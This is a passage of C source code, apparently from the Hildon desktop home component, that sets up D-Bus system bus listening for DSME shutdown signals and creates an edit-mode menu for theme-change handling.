HD_HILDON_DESKTOP_HOME_DBUS_NAME,
HD_HILDON_DESKTOP_HOME_DBUS_PATH,
HD_HILDON_DESKTOP_HOME_DBUS_NAME);
/* listen to shutdown_ind from DSME */
dbus_bus_add_match (dbus->priv->sysbus_conn,
"type='signal', "
"interface='" DSME_SIGNAL_INTERFACE "', "
"member='" DSME_SHUTDOWN_SIGNAL_NAME "'",
NULL);
dbus_connection_add_filter (dbus->priv->sysbus_conn,
hd_hildon_home_system_bus_signal_handler,
NULL, NULL);
/*
* Create menu here so we have a window to listen for
* theme changes
*/
priv->menu = hd_edit_mode_menu_new ();
}
